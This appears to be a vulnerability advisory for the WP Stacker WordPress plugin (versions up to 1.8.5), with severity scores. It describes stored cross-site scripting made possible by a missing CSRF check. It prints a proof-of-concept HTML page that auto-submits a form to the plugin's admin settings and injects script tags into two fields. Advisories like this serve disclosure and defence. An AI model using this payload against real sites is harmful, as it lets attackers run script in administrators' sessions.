WP Stacker <= 1.8.5 - Stored XSS via CSRF

2024-05-1700:00:00

Bob Matyas

wp stacker

stored xss

csrf

html form

admin

security exploit

vulnerability

5.9 Medium

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

9.1%

JSON

Description The plugin does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored XSS payloads via a CSRF attack

Make an admin open an HTML document containing:

```
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/options-general.php?page=settings_pocket_poster" method="post">
        <input type="hidden" name="wpstacker_pocket_consumer_key" value='"><script>alert(888)</script>' />
        <input type="hidden" name="wpstacker_edit" value='"><script>alert(2)</script>' />
        <input type="submit" value="Submit" />
    </form>
</body>
```